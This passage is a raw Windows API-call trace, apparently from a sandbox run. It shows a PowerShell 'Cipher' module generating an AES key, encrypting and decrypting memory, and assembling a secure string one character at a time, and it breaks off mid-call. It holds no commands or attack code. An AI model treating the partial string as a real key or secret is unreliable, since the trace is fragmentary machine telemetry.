ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.063] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.064] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.064] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.064] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.064] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.064] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.064] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396a38) returned 1 [0135.065] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84bb8) returned 1 [0135.065] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.065] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.065] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a41878, pdwDataLen=0x99ae894 | out: pbData=0x6a41878*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x1808\x6a4\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0135.065] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.065] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.065] SysStringLen (param_1="") returned 0x8 [0135.065] SysStringLen (param_1="z") returned 0x8 [0135.066] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="\xbcf9\xb2c8\x4a54\xe4a1\xbc5a\x41\xb18e\xd5d2") returned 0x8 [0135.066] SysStringLen (param_1="\xbcf9\xb2c8\x4a54\xe4a1\xbc5a\x41\xb18e\xd5d2") returned 0x8 [0135.066] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="zj") returned 0x8 [0135.066] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="\x77e6\xad72\xc63c\xa254\xef4c\x23f5\x57ee\x66ed") returned 0x8 [0135.066] SysStringLen (param_1="\x77e6\xad72\xc63c\xa254\xef4c\x23f5\x57ee\x66ed") returned 0x8 [0135.066] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="zjR") returned 0x8 [0135.066] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="\x6212\xa540\xa453\x14d6\x329f\x25df\xae2c\x606a") returned 0x8 [0135.066] SysStringLen (param_1="\x6212\xa540\xa453\x14d6\x329f\x25df\xae2c\x606a") returned 0x8 [0135.066] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="zjRV") returned 0x8 [0135.066] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="\xc3a6\x9fb9\x3606\x4235\x2b44\x1e7a\x84bd\xbb57") returned 0x8 [0135.066] SysStringLen (param_1="\xc3a6\x9fb9\x3606\x4235\x2b44\x1e7a\x84bd\xbb57") returned 0x8 [0135.066] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="zjRV6") returned 0x8 [0135.066] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.066] SysStringLen (param_1="\x11e2\xa727\x9396\xe8ff\xa0be\x3ad6\xb25f\x3e16") returned 0x8 [0135.066] SysStringLen (param_1="\x11e2\xa727\x9396\xe8ff\xa0be\x3ad6\xb25f\x3e16") returned 0x8 [0135.066] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.067] SysStringLen (param_1="zjRV6M") returned 0x8 [0135.067] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.067] SysStringLen (param_1="\x8fe5\xd81a\x79a5\xb73\x80d1\x8d07\x47dc\x3c88") returned 0x8 [0135.067] SysStringLen (param_1="\x8fe5\xd81a\x79a5\xb73\x80d1\x8d07\x47dc\x3c88") returned 0x8 [0135.067] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.067] SysStringLen (param_1="zjRV6Ms") returned 0x8 [0135.067] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.067] SysStringLen (param_1="\x45ba\x264d\xeec\xa63d\x7510\xfeba\x448b\xf3b9") returned 0x8 [0135.067] SysStringLen (param_1="\x45ba\x264d\xeec\xa63d\x7510\xfeba\x448b\xf3b9") returned 0x8 [0135.067] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.067] SysStringLen (param_1="zjRV6Ms4") returned 0x8 [0135.067] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.067] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08") returned 0x8 [0135.067] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08") returned 0x8 [0135.067] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08") returned 0x8 [0135.067] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08") returned 0x10 [0135.067] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.067] SysStringLen (param_1="zjRV6Ms4x巄伡誓∵쨶廛") returned 0x10 [0135.067] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.067] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\x1e54\x784d\xc08b\x48b8\x429e\x9f6d\xea68\xca82") returned 0x10 [0135.067] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\x1e54\x784d\xc08b\x48b8\x429e\x9f6d\xea68\xca82") returned 0x10 [0135.067] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.068] SysStringLen (param_1="zjRV6Ms4x+伡誓∵쨶廛") returned 0x10 [0135.068] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.068] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xc0a6\x135c\xd2e0\x6cd4\xd929\x9db6\xb715\xfde6") returned 0x10 [0135.068] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xc0a6\x135c\xd2e0\x6cd4\xd929\x9db6\xb715\xfde6") returned 0x10 [0135.068] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.068] SysStringLen (param_1="zjRV6Ms4x+e誓∵쨶廛") returned 0x10 [0135.068] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.068] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcefe\x98ce\x933d\x9d19\x1b87\x583d\x6714\x413f") returned 0x10 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcefe\x98ce\x933d\x9d19\x1b87\x583d\x6714\x413f") returned 0x10 [0135.069] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="zjRV6Ms4x+ey∵쨶廛") returned 0x10 [0135.069] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\x8142\x625\xca9b\xe278\xdb65\xad86\x861a\xdef2") returned 0x10 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\x8142\x625\xca9b\xe278\xdb65\xad86\x861a\xdef2") returned 0x10 [0135.069] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="zjRV6Ms4x+eyl∵쨶廛") returned 0x10 [0135.069] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\x9507\x815c\xce28\x6431\x9dd2\xc05d\xcb1f\xb2fa") returned 0x10 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\x9507\x815c\xce28\x6431\x9dd2\xc05d\xcb1f\xb2fa") returned 0x10 [0135.069] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="zjRV6Ms4x+eyl0쨶廛") returned 0x10 [0135.069] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xb4ca\xf6a5\x5cdb\xf1ba\xcee6\x4aa\x384\xe1dd") returned 0x10 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xb4ca\xf6a5\x5cdb\xf1ba\xcee6\x4aa\x384\xe1dd") returned 0x10 [0135.069] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="zjRV6Ms4x+eyl07廛") returned 0x10 [0135.069] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xeeae\x3c17\x4bf\xf31\x9056\xe0f9\x6c74\x3e77") returned 0x10 [0135.069] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xeeae\x3c17\x4bf\xf31\x9056\xe0f9\x6c74\x3e77") returned 0x10 [0135.069] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.069] SysStringLen (param_1="zjRV6Ms4x+eyl073") returned 0x10 [0135.069] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4") returned 0x10 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4") returned 0x10 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4") returned 0x10 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4") returned 0x18 [0135.070] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="zjRV6Ms4x+eyl073h↚꧈헑䊌싽᛾蔧") returned 0x18 [0135.070] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x53e6\xa68e\x7b4\xc0b5\x30a0\x11b4\xf4b9\x39af") returned 0x18 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x53e6\xa68e\x7b4\xc0b5\x30a0\x11b4\xf4b9\x39af") returned 0x18 [0135.070] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="zjRV6Ms4x+eyl073h0꧈헑䊌싽᛾蔧") returned 0x18 [0135.070] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x515\x1e86\x43c\x97ef\xb24f\x1185\x7714\x5f22") returned 0x18 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x515\x1e86\x43c\x97ef\xb24f\x1185\x7714\x5f22") returned 0x18 [0135.070] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="zjRV6Ms4x+eyl073h0g헑䊌싽᛾蔧") returned 0x18 [0135.070] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x1ed4\x851\x2565\xa94c\x227d\x7349\xe337\x3a18") returned 0x18 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x1ed4\x851\x2565\xa94c\x227d\x7349\xe337\x3a18") returned 0x18 [0135.070] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gH䊌싽᛾蔧") returned 0x18 [0135.070] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.070] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xfd6b\xb7a0\xb8fe\x2b98\xde30\xb106\x1e56\x41e7") returned 0x18 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xfd6b\xb7a0\xb8fe\x2b98\xde30\xb106\x1e56\x41e7") returned 0x18 [0135.071] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHr싽᛾蔧") returned 0x18 [0135.071] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x4a8d\x46ae\x9177\xd566\x3f1\x7f33\xdbfb\x1a34") returned 0x18 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\x4a8d\x46ae\x9177\xd566\x3f1\x7f33\xdbfb\x1a34") returned 0x18 [0135.071] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrv᛾蔧") returned 0x18 [0135.071] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xe0f9\x2660\xf08e\x78be\x86d1\x52c9\xb027\x66fa") returned 0x18 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xe0f9\x2660\xf08e\x78be\x86d1\x52c9\xb027\x66fa") returned 0x18 [0135.071] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvR蔧") returned 0x18 [0135.071] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xfc43\x8c44\x5727\x816f\xb281\x32c\x6ebd\xbab6") returned 0x18 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xfc43\x8c44\x5727\x816f\xb281\x32c\x6ebd\xbab6") returned 0x18 [0135.071] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRL") returned 0x18 [0135.071] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.071] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273") returned 0x18 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273") returned 0x18 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273") returned 0x18 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273") returned 0x20 [0135.072] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.072] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQ唿颴馌슠") returned 0x20 [0135.072] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x450d\xdebd\x91ea\x9f22\x8834\x9224\x55ac\xdd3b") returned 0x20 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x450d\xdebd\x91ea\x9f22\x8834\x9224\x55ac\xdd3b") returned 0x20 [0135.072] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.072] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQU唿颴馌슠") returned 0x20 [0135.072] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x1b00\x4e47\xf377\x45d8\xa0b0\x9f97\xebc\xe010") returned 0x20 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x1b00\x4e47\xf377\x45d8\xa0b0\x9f97\xebc\xe010") returned 0x20 [0135.072] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.072] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUr颴馌슠") returned 0x20 [0135.072] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x5c04\xde21\x114\x6093\x11f5\xfe0d\x5e46\x4ad7") returned 0x20 [0135.072] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x5c04\xde21\x114\x6093\x11f5\xfe0d\x5e46\x4ad7") returned 0x20 [0135.072] SystemFunction041 (in: 